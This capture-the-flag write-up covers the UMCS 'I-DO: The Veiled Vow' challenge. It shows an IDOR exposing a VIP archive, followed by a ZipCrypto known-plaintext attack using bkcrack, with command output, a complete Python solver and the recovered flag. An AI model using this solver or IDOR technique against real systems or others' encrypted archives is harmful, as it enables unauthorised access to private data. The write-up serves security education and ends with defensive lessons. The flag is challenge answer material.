UMCS Preliminary
I DO: The Veiled Vow
UMCS Preliminary umcs preliminary, web, forensics writeup covering I DO: The Veiled Vow with analysis, solution steps, and final recovery notes.
Challenge Overview
Challenge Name: I-DO: The Veiled Vow
Category: Web / Crypto
Points: 430
Flag Format: UMCS{...}
Target: Instance-hosted web service
Recovered Flag: UMCS{e4ef8a5e-985f-400a-a54a-62b801fafa9a}
The challenge presented an OmniCorp wedding-themed employee portal. Standard users could view a public memo, while VIP users were supposed to receive access to an encrypted archive. The goal was to bypass the guest-list restriction, obtain the VIP archive, decrypt it, and recover the flag.
The public page exposed a memo at:
/public/invite.txt
The memo contained:
You are cordially invited to the wedding of the OmniCorp CEO.
Date: November 15
Venue: OmniCorp Grand Ballroom
Dress Code: Strictly Black Tie
During exploitation, an IDOR was found. Changing the object identifier to 0 allowed access to the VIP archive, named:
vip_invite.zip
The final archive decryption and flag extraction were confirmed from the terminal output.
Initial Analysis
The first step was to inspect the exposed web service.
BASE="http://e8ebae1c-b4e8-45a0-b8e2-354d4b0c9571.chal.umcybersec.site:8001"
curl -i "$BASE/"
curl -i "$BASE/login"
curl -i "$BASE/public/invite.txt"
curl -i "$BASE/robots.txt"
curl -i "$BASE/sitemap.xml"
The root page returned a wedding-themed HTML page with links to:
/login
/public/invite.txt
The /login page contained a simple username/password form:
<form method="POST">
<input type="text" name="user">
<input type="password" name="pass">
</form>
The public memo was accessible without authentication and had a content length of 141 bytes. The service also revealed a Werkzeug/Python backend from the HTTP headers. Several guessed VIP/archive/download paths returned 404, including /vip, /archive, /download, and /public/vip.zip.
After further testing, the important discovery was that changing an IDOR-controlled identifier to 0 returned the VIP archive:
vip_invite.zip
The ZIP file was inspected:
zipinfo vip_invite.zip
file vip_invite.zip
Output:
Archive: vip_invite.zip
Zip file size: 554 bytes, number of entries: 2
-rw-r--r-- 3.0 unx 141 BX stor 26-Apr-25 10:55 invite.txt
-rw-r--r-- 3.0 unx 43 BX stor 26-Apr-25 10:55 flag.txt
2 files, 184 bytes uncompressed, 184 bytes compressed: 0.0%
vip_invite.zip: Zip archive data
Important observations:
File 1: invite.txt
Size: 141 bytes
Method: Store
File 2: flag.txt
Size: 43 bytes
Method: Store
The Store compression method means the files were not compressed before encryption. This is critical because the plaintext of invite.txt was already publicly known from /public/invite.txt.
Vulnerability / Weakness Identification
The challenge relied on two weaknesses.
1. Insecure Direct Object Reference
The web application exposed a user-controllable object identifier. By changing the identifier to 0, the application returned a VIP-only archive.
This is an IDOR because authorization was not properly enforced on the server side. The application trusted the requested object identifier instead of checking whether the current user was allowed to access that object.
Conceptually, the vulnerable behavior was:
Normal guest object -> public/standard data
Object changed to 0 -> VIP archive returned
2. Weak ZIP Encryption with Known Plaintext
The archive used legacy ZipCrypto encryption. The encrypted ZIP contained:
invite.txt
flag.txt
The plaintext of invite.txt was already known because the same invitation text was available publicly at /public/invite.txt.
Because the ZIP used Store, the plaintext did not need to be compressed before use in the attack. The exact public memo could be used directly as known plaintext.
This allows a known-plaintext attack against ZipCrypto. Once the internal ZipCrypto keys are recovered from invite.txt, the same keys can decrypt flag.txt.
Exploitation Strategy
The complete strategy was:
-
Visit the public web page.
-
Read
/public/invite.txt. -
Identify the IDOR-controlled object identifier.
-
Change the identifier to
0. -
Download
vip_invite.zip. -
Inspect the ZIP archive.
-
Confirm that:
-
it uses ZipCrypto,
-
invite.txtis encrypted, -
invite.txtis stored without compression, -
public
invite.txtand archiveinvite.txtare both 141 bytes.
-
-
Recreate the exact public memo locally as
known_invite.txt. -
Use
bkcrackto recover ZipCrypto internal keys. -
Use the recovered keys to decrypt the archive.
-
Extract
flag.txt. -
Read the flag.
The simplest reliable method is the ZipCrypto known-plaintext attack. Brute-forcing the ZIP password with rockyou.txt was attempted, but no password was recovered.
Proof of Concept
Step 1: Create the Known Plaintext
The public invitation was recreated exactly as a byte string:
python3 - << 'PY'
data = b"""You are cordially invited to the wedding of the OmniCorp CEO.
Date: November 15
Venue: OmniCorp Grand Ballroom
Dress Code: Strictly Black Tie"""
open("known_invite.txt", "wb").write(data)
print(len(data))
PY
Expected output:
141
This length is important. It must match the encrypted invite.txt entry.
Step 2: List the ZIP Entries
bkcrack -L vip_invite.zip
Output:
Archive: vip_invite.zip
Index Encryption Compression CRC32 Uncompressed Packed size Name
----- ---------- ----------- -------- ------------ ------------ ----------------
0 ZipCrypto Store 865a4329 141 153 invite.txt
1 ZipCrypto Store 25946cb8 43 55 flag.txt
This confirms:
Encryption: ZipCrypto
Compression: Store
Known file: invite.txt
Target file: flag.txt
Step 3: Recover ZipCrypto Keys
bkcrack -C vip_invite.zip -c invite.txt -p known_invite.txt
Output:
Keys: 2eba9177 307b0708 7d6c750c
The recovered internal keys were:
2eba9177 307b0708 7d6c750c
Step 4: Decrypt the Archive
bkcrack -C vip_invite.zip \
-k 2eba9177 307b0708 7d6c750c \
-D unlocked.zip
Expected output:
Writing decrypted archive unlocked.zip
100.0 % (2 / 2)
Step 5: Extract the Flag
mkdir -p unlocked
unzip -o unlocked.zip -d unlocked
cat unlocked/flag.txt
Output:
UMCS{e4ef8a5e-985f-400a-a54a-62b801fafa9a}
The successful recovery of the keys, decrypted archive, and final flag output are shown in the captured terminal output.
Full Python Solver
The exact IDOR endpoint was instance-specific and was not preserved in the terminal log. Therefore, the solver supports two workflows:
-
Use a local
vip_invite.zipthat was already obtained through IDOR. -
Download the archive from a supplied URL, such as the final IDOR URL with the identifier changed to
0.
The solver automates the crypto portion using bkcrack.
#!/usr/bin/env python3
"""
I-DO: The Veiled Vow Solver
This solver performs the offline ZipCrypto known-plaintext attack after the
VIP archive has been obtained through the IDOR vulnerability.
Usage:
# If vip_invite.zip already exists locally:
python3 solve.py --zip vip_invite.zip
# If you know the final IDOR URL that returns the ZIP:
python3 solve.py --url "http://target:8001/some/path?id=0"
Requirements:
- Python 3
- bkcrack installed and available in PATH
"""
import argparse
import re
import shutil
import subprocess
import sys
import urllib.request
from pathlib import Path
from zipfile import ZipFile
KNOWN_INVITE = (
b"You are cordially invited to the wedding of the OmniCorp CEO.\n"
b"Date: November 15\n"
b"Venue: OmniCorp Grand Ballroom\n"
b"Dress Code: Strictly Black Tie"
)
def run_command(command, check=True):
"""
Execute a system command and return its combined stdout/stderr output.
"""
print(f"[+] Running: {' '.join(command)}")
result = subprocess.run(
command,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True
)
if result.stdout:
print(result.stdout)
if check and result.returncode != 0:
raise RuntimeError(
f"Command failed with exit code {result.returncode}: {' '.join(command)}"
)
return result.stdout
def require_tool(tool_name):
"""
Ensure a required external binary exists.
"""
if shutil.which(tool_name) is None:
raise RuntimeError(
f"Required tool '{tool_name}' was not found in PATH.\n"
f"Install bkcrack first, then rerun this solver."
)
def download_archive(url, output_path):
"""
Download the ZIP archive from a provided URL.
"""
print(f"[+] Downloading archive from: {url}")
urllib.request.urlretrieve(url, output_path)
if not output_path.exists() or output_path.stat().st_size == 0:
raise RuntimeError("Downloaded archive is missing or empty.")
print(f"[+] Archive saved to: {output_path}")
def prepare_archive(args, workdir):
"""
Either copy a local ZIP file or download it from a supplied URL.
"""
zip_path = workdir / "vip_invite.zip"
if args.url:
download_archive(args.url, zip_path)
else:
source = Path(args.zip)
if not source.exists():
raise FileNotFoundError(f"ZIP file not found: {source}")
shutil.copyfile(source, zip_path)
print(f"[+] Copied local archive to: {zip_path}")
return zip_path
def write_known_plaintext(workdir):
"""
Write the known plaintext invite text to disk.
The content must match invite.txt byte-for-byte.
"""
known_path = workdir / "known_invite.txt"
known_path.write_bytes(KNOWN_INVITE)
print(f"[+] Wrote known plaintext to: {known_path}")
print(f"[+] Known plaintext length: {known_path.stat().st_size} bytes")
if known_path.stat().st_size != 141:
raise RuntimeError(
"Known plaintext length is not 141 bytes. "
"The text may not match the public invite exactly."
)
return known_path
def list_archive(zip_path):
"""
List ZIP entries with bkcrack.
"""
print("[+] Listing encrypted ZIP entries")
return run_command(["bkcrack", "-L", str(zip_path)])
def recover_keys(zip_path, known_plaintext_path):
"""
Recover ZipCrypto internal keys using known plaintext.
"""
print("[+] Recovering ZipCrypto keys with known plaintext")
output = run_command([
"bkcrack",
"-C", str(zip_path),
"-c", "invite.txt",
"-p", str(known_plaintext_path)
])
match = re.search(
r"Keys:\s*([0-9a-fA-F]{8})\s+([0-9a-fA-F]{8})\s+([0-9a-fA-F]{8})",
output
)
if not match:
raise RuntimeError(
"Could not parse keys from bkcrack output. "
"Verify that known_invite.txt exactly matches invite.txt."
)
keys = match.groups()
print(f"[+] Recovered keys: {' '.join(keys)}")
return keys
def decrypt_archive(zip_path, keys, workdir):
"""
Create a decrypted copy of the encrypted ZIP.
"""
unlocked_zip = workdir / "unlocked.zip"
print("[+] Decrypting ZIP archive")
run_command([
"bkcrack",
"-C", str(zip_path),
"-k", keys[0], keys[1], keys[2],
"-D", str(unlocked_zip)
])
if not unlocked_zip.exists():
raise RuntimeError("Decrypted ZIP was not created.")
print(f"[+] Decrypted archive written to: {unlocked_zip}")
return unlocked_zip
def extract_flag(unlocked_zip, workdir):
"""
Extract the decrypted archive and read flag.txt.
"""
output_dir = workdir / "unlocked"
output_dir.mkdir(exist_ok=True)
print(f"[+] Extracting decrypted archive to: {output_dir}")
with ZipFile(unlocked_zip, "r") as zip_file:
zip_file.extractall(output_dir)
flag_path = output_dir / "flag.txt"
if not flag_path.exists():
raise RuntimeError("flag.txt was not found in the decrypted archive.")
flag = flag_path.read_text(errors="replace").strip()
print(f"[+] Recovered flag: {flag}")
return flag
def main():
parser = argparse.ArgumentParser(
description="Solver for I-DO: The Veiled Vow"
)
parser.add_argument(
"--zip",
help="Path to local vip_invite.zip"
)
parser.add_argument(
"--url",
help="Direct URL to download the VIP ZIP archive"
)
parser.add_argument(
"--workdir",
default="solve_output",
help="Working directory for generated files"
)
args = parser.parse_args()
if not args.zip and not args.url:
print("[-] Provide either --zip vip_invite.zip or --url <IDOR ZIP URL>.")
sys.exit(1)
require_tool("bkcrack")
workdir = Path(args.workdir)
workdir.mkdir(exist_ok=True)
zip_path = prepare_archive(args, workdir)
known_plaintext_path = write_known_plaintext(workdir)
list_archive(zip_path)
keys = recover_keys(zip_path, known_plaintext_path)
unlocked_zip = decrypt_archive(zip_path, keys, workdir)
flag = extract_flag(unlocked_zip, workdir)
if not flag.startswith("UMCS{"):
print("[!] Warning: extracted output does not look like a UMCS flag.")
print("[+] Solver completed successfully.")
if __name__ == "__main__":
main()
Walkthrough
1. Save the Solver
Save the script as:
solve.py
2. Install Dependencies
The script requires bkcrack.
On Kali, bkcrack may not be available through apt. Build it manually:
sudo apt update
sudo apt install -y git cmake build-essential
cd /opt
sudo git clone https://github.com/kimci86/bkcrack.git
sudo chown -R "$USER:$USER" bkcrack
cd /opt/bkcrack
cmake -S . -B build -DCMAKE_BUILD_TYPE=Release
cmake --build build --config Release -j"$(nproc)"
The correct binary path is:
/opt/bkcrack/build/src/cli/bkcrack
Create a symlink:
sudo rm -f /usr/local/bin/bkcrack
sudo ln -sf /opt/bkcrack/build/src/cli/bkcrack /usr/local/bin/bkcrack
hash -r
bkcrack -h
This was necessary because /opt/bkcrack/build/src/bkcrack was a directory, not the executable. The working binary was confirmed at /opt/bkcrack/build/src/cli/bkcrack.
3. Obtain the ZIP Through IDOR
After identifying the vulnerable object identifier, change it to:
0
Download the archive as:
vip_invite.zip
The exact endpoint may vary by instance, so the command pattern is:
curl -o vip_invite.zip "http://TARGET/path/to/archive?id=0"
4. Run the Solver Locally
python3 solve.py --zip vip_invite.zip
Expected important output:
[+] Known plaintext length: 141 bytes
[+] Recovered keys: 2eba9177 307b0708 7d6c750c
[+] Recovered flag: UMCS{e4ef8a5e-985f-400a-a54a-62b801fafa9a}
5. Alternative: Run Solver With Direct URL
If the direct IDOR URL is known:
python3 solve.py --url "http://TARGET/path/to/archive?id=0"
Troubleshooting
If key recovery fails, verify the known plaintext size:
wc -c solve_output/known_invite.txt
Expected:
141 solve_output/known_invite.txt
Do not create the plaintext using echo, because it can introduce extra newline characters.
If bkcrack is not found:
find /opt/bkcrack/build -type f -executable -name bkcrack -ls
Then symlink the actual executable:
sudo ln -sf /opt/bkcrack/build/src/cli/bkcrack /usr/local/bin/bkcrack
hash -r
Flag
The flag was recovered from flag.txt after decrypting vip_invite.zip:
UMCS{e4ef8a5e-985f-400a-a54a-62b801fafa9a}
Conclusion
The challenge combined a web vulnerability with a cryptographic weakness.
The web issue was an IDOR, where changing a user-controlled identifier to 0 allowed access to the VIP archive. The cryptographic weakness was the use of legacy ZipCrypto encryption. Since the encrypted archive contained invite.txt, and the exact plaintext of that file was publicly available, a known-plaintext attack could recover the internal ZIP encryption keys.
The main lesson is that sensitive files must not be protected only by obscured identifiers or weak encryption. Server-side authorization must be enforced for every object, and legacy encryption schemes such as ZipCrypto should not be used for confidential data.